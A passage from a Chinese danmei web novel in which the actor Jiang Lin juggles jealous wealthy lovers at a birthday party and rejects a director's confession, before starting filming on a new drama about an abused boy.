女生给自己打码了,照片中他因为倒时差很久没睡,眼神有些憔悴,刘海太长遮住大半的双眼,显得颓废消沉,仿佛在强颜欢笑。 女生很可爱,她的文案写得很真情实感:【今天运气超级超级好!偶遇了江江(欢呼),他好像很累很憔悴(流泪)。虽然我知道我们现在应该乖乖的,但还是忍不住为他心疼,原本能靠着明导的剧一飞冲天,从此有光明的未来(伤心)。 可是被原生家庭拖累,现在什么活动都没有了明明原生家庭带给他的都是痛苦,小孩儿好不容易能够获得这么多人的喜欢,成为大明星,现在都要从头再来。江江小时候很苦,我会一直爱他,给他一点点甜。】 这个是江林最近一两个月唯一露脸,底下评论很快就过千了,没多久就过万,顶上了热评。 【江江需要很多爱啊。】 【我们乖乖地等着他回来(抱抱)。】 【看见他,好像看见了我自己,我的原生家庭也不好,经常会很自卑希望他能成为最厉害的大明星,我也会努力生活,成为他的骄傲】 【江江从头到尾都没有错,他无法选择自己的出生,他靠着自己的努力才走到今天的,他会一直走下去,我也会一直陪着他】 江林看着屏幕上的善意和爱意,难得觉得自己有些心软,他一直都知道追星女孩的爱意能够融化所有冰石,她们不求回报地爱着他。 可能是还未泯灭的良心作祟,他从前做任务的时候很少会进入娱乐圈成为公众人物,毕竟承载别人的喜欢并不是一件轻松的事情。 他关掉手机,捏了捏眉心,原本心中的计划被缓缓推翻。 “江哥,辛珂导演那边说,初五开机仪式,希望您能过去,还有金姐那边说让您回来记得过去一趟,然后白总和明导都有找您,你能看要不要回个电话什么的”小庄一边开车,一边操心江哥的人际交往。 江林一个电话没回,阖上眼皮,有些疲惫地道:“先回家吧。” 江林从下午五点一觉睡到了中午十一点才算是缓过来,饿得两眼发黑,点了外卖,一边看剧本一边吃饭。 下午一点多动身去了经纪公司,金姐是个胖乎乎的中年女士,笑眯眯的看起来并不强势,但做事说话雷厉风行,不会言之无物,“《南辕北辙》这部剧热度很大,剧本我看了,也不错,如果不出意外的话这部电影成为你的‘复出’电影不错的。至于男同cp,我不认为是什么大问题,你出道之所以会有流量也是因为炒cp人也不能忘记自己来时的路对吧。” 金姐开玩笑地说道:“可不要小瞧cp粉的力量,而且你的唯粉数量现在还在涨,你经全网黑这一遭,真正喜欢你的粉丝们天然就会对你偏爱” 江林靠在椅子上,静静听着经纪人给他画饼,“只要这次电影能够取得不错的成绩,代言什么的都好说,等你下一部刑侦剧播出,cokn就会官宣代言人” “不要着急,娱乐圈来日方长,你身后有叶主编,红只是早晚的事儿。” 江林稍稍点了点头,似笑非笑地说道:“那是,我得好好谢谢他呢。” 金姐给他找了不少剧本,都是桃利的自制剧,让他挑,明年或者下半年才会启动开拍。 江林从会议室出来,戴着墨镜和口罩,穿着简单的羽绒服,气场十足,整个人显得冷峻又俊美。 他在电梯口遇见了从侧面走出来的叶成哲。 桃利经纪公司和桃子TV的办公场所在一栋写字楼。 江林像是没瞧见他,小庄在他身后则没那么稳得住气,眼神瞟向叶主编。 叶成哲旁边也跟着两个宣传部人员,正在聊着上期宣传的问题所在。 江林看都不看他,叶成哲心里猫抓似的痒,注意力落在江林微微敞开的衣领,露出一点白皙的颈上。 宣传部的人先下电梯,只剩下江林小庄和叶成哲。 “江遂,你来我办公室。”叶成哲没了顾忌,低声开口。 江林声音冷淡沙哑:“不去。” “”叶成哲没想到自己被一口拒绝,伸手抓了抓江林的手,声音带着点笑意:“江遂你跟我耍大牌呢?” “有摄像头,你明天想上新闻吗?”江林挣脱叶成哲的手,语气很硬:“两年之约的时间好像还没到,我现在就要对你随叫随到了?” 叶成哲咬了咬牙,越是生气越是笑得灿烂,他轻声问:“我哪里惹你不开心了?小祖宗?” 小庄脸色一白,他是一个正儿八经的直男,刚刚结完婚,对于两个男人调情有些接受无能。 “不想做而已。”江林言简意赅地回答。 “成。”叶成哲不再纠缠,这种事情确实要你情我愿,虽然有那么一瞬间想要彻底毁掉江林,但想了想还是觉得不划算。 江林带着小庄离开公司,中途他的电话响起,是白宝戎的电话。 “喂?” “江遂,你这是小牌大耍啊,我联系你这么多次,都他妈的是你助理接的,你想干什么?”白宝戎接起电话,就是一段中气十足地输出,带着控诉,像是对朋友无缘无故消失的埋怨。 江林把电话拿远了点儿,等他说完,才漫不经心的接话:“嗯,有屁快放。” 江林似乎听见白宝戎在那头磨牙的声音。 “来玩吗?我朋友生日。”白宝戎稳定住自己的情绪,硬邦邦地邀请道。 “在哪儿?”若是之前江林大概不会答应,现在心态转变,没有拒绝。 “盛世金城这边你在哪儿,我去接你?”白宝戎因为他没有拒绝,语气又肉眼可见地好了起来。 “你地址发给我,我自己过来。”江林单纯存了玩儿的心思,且白宝戎个性还算白痴坦荡,他没有那么讨厌。 /// 江林没想到白宝戎说的那个朋友是明若童,非常奢侈的场地,排场十足,随着明若卿父亲锒铛入狱,明若卿以极快的速度把明氏集团卖掉了。 这些都对明若童没有影响,有他哥在,他饿不死,手中的钱够他挥霍一辈子。 明若童在看见江林的瞬间,原本笑容灿烂的脸,完全凝固住了,白宝戎站在江林身侧,眉眼间笑容犹为真切,仿佛从眼底溢出来的笑意。 “明若童,你之前应该见过吧?”白宝戎想起那天明若童喝醉之后说的话,语气低了低:“听他说,你和他哥关系不错?” 江林挑了挑眉,也不避讳:“是还可以。” “上床了?”白宝戎轻哼一声,直言不讳地问。 江林没回答,只是轻飘飘看他一眼,眼里的意思很明显,别多管闲事。 “若童,这是我朋友,江遂。”白宝戎面对明若童时,脸上挂上了假笑。 “你好。”江林笑着朝他伸出手。 明若童笑容勉强,脑子里发出尖锐爆鸣声,伸出手和江林握了握,“好久不见。” “我们之前见过吗?”江林露出疑惑的表情,“生日快乐。” “他给你准备的生日礼物和我的放在一起。”白宝戎这方面的事情都给他考虑好了,也算贴心。 明若童在想怎么办,等会儿他哥来这儿是不是完蛋了。 但他没那么多时间纠结,这次生日会都是他请来的朋友,他需要好好安排招待。 “前段时间去哪了?”白宝戎和他坐在一起,两人跟前摆放着旋转的碟子,里面装着精致的甜点。 “出国玩了几天。”江林吃了颗剥好的新鲜葡萄,里面的籽都被人挑了出来,宛如宫殿般装修的大堂,人来人往。 白宝戎和他保持着距离,像个普通朋友般交谈:“好吧,难怪找不到人,你现在背靠大树好乘凉,已经忘本了呢。” 江林唇角弯了弯:“白少给我那么多零花钱,我可舍不得这么快忘本。” “代言人我没说谎,官宣了,只是没上热搜。”白宝戎早就把钱结清了,甚至多转了些到江林账户。 “我知道。”江林点了点头,微微眯起眼,薄唇轻轻勾起,黑眸和他静静对视:“需不需要给你发奖状啊,白少爷。” 白宝戎扯了扯嘴角,目光流连在江林脸上,视线对上的瞬间心脏失控地狠狠撞击了一下胸腔,总是能轻而易举地被他看得心跳加速。 江林是他隐秘又不能对人诉说的秘密,曾经他以为两人只是一夜情的关系,后来纠缠越深,便无法抽身,时刻警告自己,这对他而言只是一场欲望的游戏。 却总是忍不住多看他几眼,工作之余也忍不住给他发消息。 但白宝戎注定是要结婚生子的,他爷爷只有他这一个孙子,现在逼婚越来越紧,他就越控制不住地朝着江林靠近。 当他和江林在一起的时候,像是回到了没有条条框框、插科打诨的少年时期。 “看着我发什么呆?”江林手在他眼前挥了挥。 “只是想到我好像不该叫你来的。”白宝戎当时想当然地邀请他,现在冷静下来却有些后悔。 “我都不怕,你怕什么。”江林都不怕情人见面互相撕逼。 白宝戎扯了扯嘴角,“如果谁都像你一样没良心就好了。” /// 明若卿来的时候,身后还跟着不少人,叶成哲赫然在内,这些人原本在一起打牌吃饭来着,听说明若童生日便一起来了。 所以当明若卿和叶成哲看见江林含笑的侧脸时,神情各异,气氛不算融洽。 明若卿很久没见江林了,还以为记忆已经逐渐淡忘,但并没有。 他看见江林双眼微弯含笑,旁边的青年很亲昵地在他耳边说着什么,两人对视一眼,默契笑了起来。 明若卿强制自己移开视线,后牙紧咬,脸侧肌肉变得僵硬,朝着江林相反的方向走去。 叶成哲和江林的事儿,叶成哲没主动和任何人提起,毕竟江林是明若卿带着过过明眼的人。他的行为是在撬人墙角,倒显得他不厚道。 “哦豁,江遂,你看看你对面的人是谁?”白宝戎率先注意一道犀利的目光,抬眼看去,便瞧见叶成哲似笑非笑的表情。 那股瞧不起人的劲儿,看得他一阵憋火。 江林这才施施然抬眼看去,明若卿和叶成哲坐在一起,明若卿低头看手机,叶成哲视线直勾勾看着他冷笑。 他从来不怕翻车,毕竟他从来都不是谁的附属品,他们之间都是交易关系,一锤子买卖,明若卿的剧如果不是他,热度不一定会这么大,而且他自认为给足了明若卿脸面和好处。 叶成哲的话,他相信自己带给他的利润只多不少。 “你再这么阴阳怪气的,我会怀疑你爱死我了,现在在吃醋。”江林唇角勾起笑容,朝着他举了举杯,他半点不慌张,甚至透着游刃有余的自信。 白宝戎一顿,想反驳,但又没有出声。 叶成哲视力很好,恰好能看见江林嘴角勾起的慵懒散漫的笑,带着一点挑逗自信的味道,果不其然对面那傻子看呆了。 白宝戎是谁他当然认识,白家那些破事闹得沸沸扬扬的,谁不知道? 但叶成哲不知道的是,他的眼底几乎嫉妒得发疯。 明若童硬着头皮来和哥哥们寒暄,主动说道:“我知道哥哥们是百忙之中抽出空来看我的,心意收到了,如果忙的话可以先走,我这边可能很久才能弄完” 若是平时,叶成哲他们还真就走了,毕竟他们时间有限,来看一眼明若卿的弟弟就算给面了。 “没事,今天正好没事儿,看看你们年轻人都玩些什么”叶成哲皮笑肉不笑地说着。 明若童无声咽了咽口水,看向他哥。 明若卿像是没瞧见他的眼神,低着头不知道在忙什么。 反正这几尊大神留了下来。 随着生日歌响起,两米高的蛋糕被服务员推了进来,原本还分散的众人纷纷将明若童围起来,明若童如芒刺背却还要笑着许愿切蛋糕,然后仪式感十足地给众人分发蛋糕。 江林和白宝戎站在一起,两人还在旁若无人地窃窃私语,站在他旁边的叶成哲不爽地轻轻撞了一下江林的肩膀,然后毫无歉意道歉。 江林只是回头看了他一眼,又收回视线,继续和白宝戎聊天。 “我还以为有钱人的生日会有惊喜呢,没想到还是一样地无聊。”江林毫不留情地吐槽。 白宝戎扯了扯唇角,故意吊儿郎当地说:“有钱人也是人好不好,下次我生日,我和你两个人去海上过,保证让你终生难忘” 江林一眼瞧出他的不正经,轻哼一声:“做梦吧你。” 叶成哲见他们两人旁若无人地调情,想做些什么,却又不好太明显,视线往旁边一瞧,就见明若卿面无表情地看着他。 叶成哲心神一凝,浑身肌肉都下意识地紧绷一瞬,原本蠢蠢欲动的手指停住,呼吸都轻了轻。 明若卿的眼神像是洞察人心,叶成哲难得有些做贼心虚的感觉,毕竟两人也算是一起长大的朋友。 江林和明若卿擦肩而过,脸上笑容不减,没有打招呼,端着蛋糕离开,明若卿表情有些冷,呼吸间都有些辛辣的气体进入肺部,让人觉得难受。 明若童第一次感觉自己是一个成熟懂事的大人,直接把江林和白宝戎安排到了别的地方玩,而明若卿几人他亲自陪着,如履薄冰地赔笑,都忘记了今天他才是主角。 “来呗,台球谁不会?”白宝戎仰起脸。 “赌注,你手上的表。”江林拿着球杆指了指白宝戎手腕的表。 白宝戎是个喜欢玩表的,收藏柜里的好表不少,很多都是限量版,有市无价。 他看了看自己的手表,“你是真不客气啊。” 江林笑了笑,撑着球杆,抬眼看着他:“你玩不玩?” 白宝戎咬牙道:“玩,来,你输了还是那天的要求。” 江林嗓音醇厚,低笑一声,撩人得厉害:“贼心不死啊。” “死不了一点。”白宝戎舔唇,严阵以待。 最后,白宝戎一球之差无缘胜利。 白宝戎看着空荡荡的手腕,下意识地摸了摸,心有不舍,双眼冒出点不服:“再来一局。” 江林摸了摸还带着白宝戎体温的手表,“赌注是什么?” “我今天开来的宾利。”白宝戎还就不信邪了。 江林漂亮的眸子露出点笑意:“好啊。” 白宝戎赌红了眼,连输三局,即将输得裤衩都不剩了。 江林见他还要来,打住他的话头,抓着他的手腕按在桌上,凑到他唇角亲了一口:“后面两局的车子和房子都不要,只要这个表,今天到此为止,成不?” 白宝戎怔了怔,深深望进江林的黑眸,心中忍不住的悸动,男人的眉眼太蛊人了,勾人的手段也厉害,明明赢了三局,却只要第一局的奖励,好像在不经意地哄他? 想到这个可能,白宝戎心脏都战栗了一下。 其实江林只是单纯地不想玩了。 “操。”白宝戎松开手,手中的球杆落地,发出砰邦的声响,声音未落,他反握住江林的手腕,寻着他的唇吻了过去。 江林垂了垂眼皮,没有拒绝,轻轻倚靠在台球桌旁,感受着白宝戎急不可耐的渴求,手紧紧抱着他的腰。 白宝戎如愿以偿吻到他的唇,唇薄又软,被他用力地研磨搓揉,含在嘴里吃都吃不够,越想要用力抱住,江林就越像是握在手中的细沙,一点点流逝 明明两人在接吻,做着情人之间最亲密的事情,却没有让白宝戎感觉到丝毫安全感。 叶成哲推开门,看见的就是一幅抓人眼球、激素飙升的画面。 坐在台球桌上的青年,吊儿郎当岔腿坐着,眉眼间的情绪是不动声色地玩味,站在他两腿间的男人正微微弯腰去吻他的唇。 他正好可以清晰地瞧见两人滚动的喉结,似乎在吞咽着彼此的口水。 “江遂。”叶成哲瞳孔微缩,喊出了其中主角的名字,不明白这一刻心中翻涌的不满代表着什么,但他无法视而不见两人的勾当。 江林率先睁眼,却没有直接推开人,只是撩起眼睫瞥向他。白宝戎不耐烦地拧起眉头,他明明交代过不要让人进来,他最后还忍不住轻咬了一口江林的唇瓣,才松开。 白宝戎直起身,偏头看向已经关门走进来的叶成哲,擦了擦唇角的水痕。 叶成哲扫了两人一眼,语气凉飕飕地:“刚刚隔得远没看出来,原来是白少啊。” “跟朋友无聊玩玩。”白宝戎还握着江林的手指也不松,脸上保持着公子哥那一套彬彬有礼又图穷匕见的锋芒:“怎么?哪里碍了叶少的眼了?” 江林姿态轻松地坐在台球桌上,明明自己才是产生矛盾的罪魁祸首,他却是事不关己高高挂起的态度。 “倒不是碍我眼,白老爷子和我父亲是忘年交,白家和叶家也一直有革命友谊,白家唯一的小辈做了错事,我瞧见了,自然要阻止一二。”叶成哲摆出了长辈的谱儿,唇角带着笑,眼底可是半点温度也没有的。 白宝戎不吃这一套,浑不在意般说道:“人在欢场,逢场作戏而已,我没有义务和叶少解释吧,且刚刚你走进来的时候,先喊的好像是江遂的名字吧。” 江林双臂撑着身后,好整以暇地看着针锋相对、眼见着要冒出火星的两人,置身事外,隔岸观火。 “到底谁是做错事的人呢?”白宝戎唇角扯起冷漠的笑容,脸上的痞气尽显,“我和叶少关系一般,你管不到我头上。江遂是我的人,你也管不到他头上。我和他怎么亲,怎么吻,你都管不着。” 叶成哲很快冷静下来,以他平时的性格根本不会和白宝戎做这些无谓的争论,只是今天许是被开门暴击冲昏了头脑。 他表情出现一点点歉意,看向白宝戎的身后,江林表情无波无澜的看着这场闹剧,“今天是我冒昧打扰了白少的好事儿,只是我需要提醒你一句。” 叶成哲神情自然含笑,“白老爷子还没死呢,天下没有不透风的墙。” 白宝戎也回了笑容:“不劳您操心。” 两人之间似乎天生的气场不合,看对方不顺眼,叶成哲转身离开,脸色彻底阴沉下来。 等人从门口消失白宝戎脸上的笑容也垮了下来,无语道:“要他多管闲事” 旋即,他瞧见江林散漫冷淡的笑容后,又不满地控诉起来:“你还笑,都是你弄得,你背着我找了多少男人,你说说看” 江林在他凑近的时候,手落在他后颈,唇角含着笑:“人长得好看,还真没办法……而且你刚刚说错了,他还真能管我,我是他公司的艺人。” “你跳槽算了,我家也有经纪公司呢,跟着那个笑面虎,小心被吃得骨头都不剩。”白宝戎冷笑一声。 “气什么,刚刚我不是站在你这边吗?”江林声音玩味,语气听着颇觉宠溺。 白宝戎也是觉得内心满足,想去亲江林的唇,却被江林偏头躲开,顺势站直身体,“你还有兴致啊?算了吧,今天没这个想法了。” 白宝戎抓着江林的手,眉头紧紧拧起,想用那种平时惯用的命令口吻,却知道江林不会吃这一套。 江林从来都不是非他不可。 江林拍了拍他的手,敷衍地给他画饼:“下次,我给你打电话。” 白宝戎就算千百个不愿意,最终也还是松开手,表情很难看。 江林整理了一下并未弄乱的衣摆,推门走了出去,大堂那边依旧人声鼎沸,音乐声依旧悦耳,高山流水,余音绕梁。 地面上叠着红地毯,墙壁上装着鹰状的壁灯,沿路敞亮,走廊尽头是金碧辉煌的会客厅,类似于隔间的娱乐场所,里面有许多玩乐的种类,有些亮着灯,有些里面却一片漆黑。 江林还未走出走廊,便被旁边一股巨大的拉扯力量扯进了黑暗的隔间,是旋转门,透着光,昏暗却依稀可见人影。 旋转门在不停转着。 江林没有挣扎,来人身上的香水味他还算熟悉,连沐浴乳和洗发水都是同一种味道,他被人压在沙发上,唇被咬了一下,男人坐在他腿上,用力地舔吮他的唇瓣,想把前人的痕迹抹除。 “你他妈的不反抗?随便一个男人都能亲你是吧?”男人在黑暗中有些恼羞成怒,胸口原本就憋着火,现在更是熊熊燃烧起来,声音阴鸷愤怒。 江林手放在他腰上,语气平静,拍了拍他的腰,“叶主编对别人的嘴占有欲别那么强,就算我被陌生人吻,也不该你生气吧?” 叶成哲捏着他的下巴,两人鼻尖相触,呼吸紧紧交缠,说话间都能擦过对方的嘴唇。他冷笑一声:“和白宝戎这种毛都没长齐的小孩儿你有什么玩的呢?就是因为他拒绝我?” “江遂,你是不是脑子进水了?嗯?” 江林靠在沙发上,看着恼羞成怒还在自我圆谎的叶成哲,不动声色地弯了弯唇:“我和他只是玩玩,我这不是看您生气,就来找您了吗?你跟小孩生什么气?” 其实两人之间根本没差多少岁,严格来说,江林才是那个真正的小孩儿。 叶成哲那股子气莫名其妙地消了些,虽然知道这个没良心的玩意儿在说花言巧语骗他。 他抓着江林的衣领,用力吻住他的唇,舌尖撬开他的齿列,缠住他的舌尖,突然问了一句:“你他妈更喜欢谁的吻技。” 江林秉持着谁在面前点谁名的原则,摸了摸他的脸,回答:“叶主编的口技我是认可的。” 叶成哲问完便觉得自己太无趣了,居然问出这种幼稚的问题,但江林的回答却带着成年的直白,他直冒火:“老子吻技再好,耐不住你喜欢新鲜啊。” “我以为叶主编不会生这种气呢,刚刚在台球室不还威风凛凛的吗?”江林抓着他的手臂,将人从身上推开。 “”叶成哲抿了抿唇,这次真的冷静下来了,将这些都概括到男人的占有欲中。 “你身为公众人物,以后少出席一些这种富二代们的聚会。如果你被对家拍了,胡乱造谣你解都解释不清。” “也不算造谣吧,我就是靠叶主编上位的,不是吗?”江林满不在意地说道。 “”叶成哲两人前后脚出了昏暗的包厢。 江林:“” 一波未平,一波又起,正好被明若卿抓个正着。 两人身后的包厢灯都没看,嘴上红肿的痕迹是无可否认的罪证。 叶成哲心虚,江林坦荡。 “明叔,你怎么来了。”江林在两人对视间,主动笑着开口,一贯温暖的笑容。 明若卿似乎又看见了那天雨夜,扑进他怀里的少年,红着眼说相信他。 也许这一切也不过是江林的设计,他从头到尾对自己都没有半点真心吧。 叶成哲不自然地笑了笑:“明儿,你在这里等多久了?” 明若卿平静地回答道:“从江遂进去的时候。” 叶成哲说:“现在江遂是我们公司的艺人,我刚刚只是在交代他明天去公司开会” “你先走吧,我借你的艺人一会儿。”明若卿也不反驳他漏洞百出的借口,依旧克制。 叶成哲根本不想借,但转头江林已经跟着明若卿走了。 /// 外面呼啸着寒风,长廊似乎的阳台上没有暖气,手指瞬间被冻得冰冷,江林跟在明若卿身后,看着他低头给自己点上一根烟,火星在黑夜中忽明忽暗地闪烁。 江林双手插兜,主动开口,嘴里哈出热气:“明叔找我有事吗?” 明若卿感觉吸入肺腑的烟都是带着寒气的,冻得浑身冰冷,他缓缓开口:“你要不要和我在一起。” 这话一出,让江林都有些出乎意料,在明知道他左右逢源的情况下,明若卿还能开这口,简直是匪夷所思。 毕竟,以明若卿的个性,克制又古板,骨子里固执又冷漠,应该在知道后对他敬而远之才对,但居然主动和他表白了。 “什么?”江林轻声问。 江林脸上惊讶的神情又仿佛尖刀般,明若卿扔掉手中的烟,黑眸沉又深,他重复一遍:“做我男朋友,江遂,我真心的。” 江林缓慢地眨了眨眼,脸上的肌肉牵扯出一丝嘲弄的表情,他声音轻飘:“明叔,原来你喜欢我这种放荡又不知羞耻的贱货啊” 他通过对自己自轻自贱的贬低来讽刺明若卿的喜欢。 “这张嘴今天和两个男人亲过,明叔不介意,你可以成为第三个” 明若卿不等他说完,抓着他的衣领将人按在墙上,平静的黑眸里荡起波澜,一向冷静的脸上出现一丝愤怒,他一字一句咬字沉重:“你非要这样吗?” “非要把真心贬得一文不值?非要把自己说得这么不堪吗?!” 江林后脑勺抵着冰冷的墙壁,自始至终都带着不甚在意的笑,似乎什么都入不了他的眼,“你明明介意得要命,不要装了,明若卿。” “你现在只是不甘心,所以想把我攥在手中满足自己的私欲,等到哪一天,不想为自己所谓的感情花时间花精力了,你就能以我曾经的不贞为借口,一脚踹开我。” 这些就是男人通用的手段。 明若卿如果不介意早就可以和江林表白的,而不是等到今天,被人刺激之后冒出这种冲动的念头。 江林眯着眼笑了笑,清醒又理智:“你肯定因为喜欢我而为自己感到不值吧,但是转眼看着我和这么多男人纠缠不清,又忍不住想要把我套住,以男朋友的身份” 明若卿看着他,斩钉截铁地说道:“我没有。” “行,你没有,但我不喜欢你。”江林不和他讨论这个事情,按住他的手,“我想要的东西,你也给不起。” “你到底想要什么?”明若卿沉声问。 “我不需要任何人给,我会自己拿。”江林拧住明若卿的手腕,反客为主,反身将人抵在墙上,“明叔,我感谢你将《依尘传》拍得那么好,你不来挡我的路,我们依旧是朋友,闲暇时候来了兴致一起玩也不是不行,但你别用喜欢来套我。” “我不稀罕你的真情。” 明若卿第一次在江林面前如此情绪外露,被喜欢的人一寸寸剥开心脏,然后垃圾一般地扔在地上碾碎,不由产生一些波涛涌起的恨意。 因爱生恨是一件再简单不过的事情。 江林看着他的双眼,神情遗憾又无奈,主动在他额心亲了亲,呼吸灼过他的眼皮:“明叔,你很好,不要拘泥我了,我哪里值得?” 明若卿恨得双眼泛红,又被一个吻轻轻止息,他听见江林说:“对不起,当初在剧组是我不懂事,硬将你拖到这条偏路上,你是个好导演,当初是我太狭隘了” 明若卿没说话,牙关都要咬碎了,如果喜欢能控制,世界上怎么会有那么多痴情人? 江林松开手,转身离开前说了一句极为虚伪的话:“希望以后您都开开心心的。” 明若卿没有继续纠缠他,重新点燃了烟,站在风雪中,静静看着路边车来车往。 他在极度冷静分析下,他看透了江林伪装深情下的薄情和恶劣。若是真的要和他划清界线,何必说那些假惺惺的话,甚至亲吻他的额头。 这个小王八蛋分明很开心自己的沉沦和堕落,在给他演戏呢,就是想要拽着他一起死!看着他爱而不得的苦楚,他不知道有多开心。 就是故意折腾他罢了。 第89章 初五那天, 风雪未歇,江林戴着口罩和墨镜,穿着白色羽绒服, 看见了辛珂导演,那是一个个子小小的短发女生, 明眸善睐,生辉。 她瞧见真实的江林后更加显得心喜,握手打量, 带着善意地凝视:“你和陆宸很像,谢谢你愿意相信我。” 之前签约见面都是工作人员安排的, 这是主演和导演第一次会面。 江林摘下口罩和墨镜,笑着说道:“我很喜欢看您的小说,陆宸是我非常喜欢的角色,很荣幸能参演您的作品。” 辛珂笑眯眯地看着他,越看越满意,“江老师知道的吧, 另外一位主演是叶轶老师, 他飞机晚点, 要稍微晚一点才能到。” “久仰大名,但第一次见。”江林没想到这次和他演《南辕北辙》的演员完全变了, 之前两位主演因为这次剧的投资更大, 热度更大,被筛选掉了。 而辛珂说的叶轶更是让他意外,叶轶娱乐圈出名的硬汉, 从出道开始就在演警察,是一类光伟正的演员代表。 娱乐圈粉丝们都说他往那一战就是兵,所有反贪剧、反腐剧或者军旅剧他都是有参演, 出道五年还在演警察,这次他经纪人咬了咬牙,给他接了一部反差极大的剧。 江林如果没记错的话,原剧情中的叶轶最后会成为影帝,演艺之路一路畅通。 “很冒昧问一句,江老师平时会看男同小说吗?”辛珂其实更想问的是,江林性取向怎么样,对于这部剧有什么看法? “平时有时间会看。”江林勾了勾唇,辛珂笑着点了点头。 叶轶姗姗来迟,等他等得风雪都停了,一辆黑色的商务车才从后面悄悄驶入。 江林捧着小庄给他准备的暖手袋,躲在休息室读剧本,直到辛珂身边的助理来叫他。 地上还有残留的雪,四四方方的香炉摆在前方,上百号人站在广场上,一身长风衣的高大男人双手合十,谦逊地表示歉意:“对不起各位,来晚了。” 江林不动声色地走过来,辛珂瞥见,连忙给两人介绍了一嘴:“叶老师,这位就是江遂老师。” “你好你好。”叶轶主动握了握,粗糙有茧的手指,捏着江林修长细腻的指尖,他凤眼带着歉意:“抱歉,因为下雪飞机晚点了,劳烦久等了。” 江林笑着摇头:“没事儿,没事儿,以后还要麻烦叶老师多多指教。” 虽然叶轶掩饰得很好,江林还是察觉到了他眉眼间的不自然。 那哪能自然的起来?叶轶演了这么多年的戏,演男主搭配的都是女主,现在来个男人让他演感情戏,他不别扭才怪。 流程很快走完,辛珂也没有废话,江林手上举着三根香,他和叶轶站在最前面,身姿挺拔,如同青松玉树般。 辛珂转头看见身后的两位男主,顿时便被吸引了目光,严格来说,她非常满意。 在娱乐圈美颜和磨皮横行,化妆技术鬼斧神工的情况下,能够有两位素颜这么抗打的男星当她的主演,确实是她的幸运。 江林年纪瞧着比叶轶轻,容貌是拔尖没得说,属于那种一露面就是抓人眼球的俊美,攻击性十足。 叶轶样貌的确不如江林帅气,但自身沉淀那股成熟硬汉的气息,却是一般演员身上都没有的。 两人站在一起,气场没有谁压过谁,旗鼓相当,让辛珂更加满意了,起初她还担心过江林的气场会比叶轶弱,扛不起这个角色。 《南辕北辙》可是一个互攻文。 随着《南辕北辙》官博的官宣,百来人的照片被放在微博上,书粉和各家的粉丝都开始纷纷发表评论。 【我的陆宸,啊!我觉得江遂根本演不出来,我的陆宸是个喜欢哥哥的阴暗批啊。】 【我也觉得江遂太帅了,书中的陆宸只是清秀白皙的青年】 【补药啊,补药因为江遂帅就网爆他好嘛,呜呜。】 【我是书粉,但在某些方面其实陆宸和江遂还蛮像的,都是不好的原生家庭,同样是父亲家暴】 【不过该说不说,陆沉持和叶轶的适配度好高啊!我想象中的陆沉持就长叶轶这样。】 【叶轶这个铁血硬汉也要下海了吗?不要啊,男演员的最终的归宿都是下海吗?】 【叶轶你是被逼的就眨眨眼。】 叶轶的工作室更是被他的粉丝冲了,他很多粉丝都是女友粉,现在看他和男人演爱情电影直接炸开了锅,集体抵制,将工作室骂得狗血淋头。 但某种方面,叶轶经纪人想要的就是这种结果,叶轶的资源不是靠粉丝撕出来的,是他自己一步一个脚印闯出来的,从一开始他们工作室就很讨厌饭圈文化。 反观江林这边则是无事发生,虱子多了不怕痒。 【好诶,我觉得江江和谁都很搭!】 【只要能看见江江就好咯。】 【江江和陆宸很搭好不好,那张贵气十足的脸,看得人像下跪(吸溜),这是能说的吗?】 【我不敢想象,这两个人做饭该有多刺激,想看!】 【但说实话,我觉得叶轶比江江攻】 【年下不是更好磕吗?】 【管不了这么多,江江就是最棒的!】 叶轶上了热搜,热评第一就是【叶轶你是被逼的就眨眨眼。】 江林的热搜依旧被压了下来,此前那些cp粉大部分都变成了江林的唯粉,毕竟在江林最难的时候,除了那个自身难保的小糊咖于森,娱乐圈没有一个人敢为江林说话。 他受到了cp粉的溺爱。 《南辕北辙》这部剧从幼年到青年故事线很长,还有两个小孩饰演年幼的陆宸和陆沉持。 两人虽然是一个姓,却没有血缘关系。 故事开始的地方是在偏僻的小镇,小镇上有两所初中,一所高中,陆宸比陆沉持小三岁,两人的家在一个胡同里,相隔十米左右。 他们的羁绊从小时候开始,一直延续到了未来。 陆沉持是个混子,野孩子一个,初中毕业就成为了人尽皆知的坏孩子,父母早亡,房子也是租的,每个月需要赚取房租和生活费。他浑浑噩噩地活着,实在太饿了,也会小偷小摸,被发现了就是一顿毒打。 陆宸是学校里成绩第一的好学生,穿着干干净净的校服,沉默又乖巧,有一次看见被打得奄奄一息的陆沉持,好心给了他小面包。 前面看似乎是一个关于救赎和被救赎的老套故事。 有一次,陆宸被学校的坏同学勒索,这次是陆沉持保护了他。 之后,陆宸就喊陆沉持哥了。 陆宸家庭看着富足美满,但因为陆宸的母亲跑了,他父亲虽然是个公职人员,但其实是个暴力狂,喝醉之后就拿陆宸发泄。 后来,陆宸被彻底解救,是因为陆沉持杀了他的父亲。 陆沉持被警察抓走,陆宸小小的人儿坐在房间里,红肿的双眼透着黝黑的光不再堆满泪水和无助,整个人透着成熟又冷漠的神情 “嘶,江哥,我靠,我要吓晕了,我一开始以为陆宸就是一个小可怜就是像从前那些小说里面的那样,但其实陆宸从一开始就是故意接近陆沉持的?”小庄看到最后这一幕,鸡皮疙瘩都冒出来了。 “嗯,陆宸从小就异于常人的冷漠和聪明。”江林正在试妆。 陆宸成年之后成为了一个游戏公司的小老板,公司是在大学期间他和朋友一起创建的,四年就打响了知名度,成为年纪轻轻的富一代。 成年的陆宸,书中描写是禁欲清冷的传奇人物,而陆沉持出狱之后,无人在意,无人关心。 曾经的陆宸消失在他的生活中。 他在狱中交到了不少好友,为人义气,在朋友的帮衬下开了家夜店。 江林看着镜子中陆宸,鼻梁上堆着银色的无框眼镜,多情圆润的眼,穿着黑色的定制西装,薄薄的嘴唇显得薄情,眉眼间是精致的冷漠:“陆沉持一直都是他计划中的一环。” “那这么说,以陆宸的个性应该离陆沉持远远的才对,为什么遇见之后还主动去找他?”小庄嘟囔着,“他应该觉得陆沉持是他的污点才对。” “不对,陆宸的很自大且自负,他不认为陆沉持有资格成为他的污点,而且陆宸之所以会找陆沉持,是因为陆沉持躲着他。” “躲他?”小庄拧眉。 “是啊,他不允许曾经对他那么好的哥哥对他避之不及,所以不择手段地让他低头,为自己再次沉沦堕落。”江林眼神变得有些刻薄冰冷,剧情狗血刺激,一环扣一环紧张,若是拍得好,受众群体不少,但很容易用力过猛而显得油腻。 陆宸不是什么好人,很容易挨骂。 “那陆宸到底喜不喜欢陆沉持呢?”小庄由衷的发问。 江林没有回答他的问题。 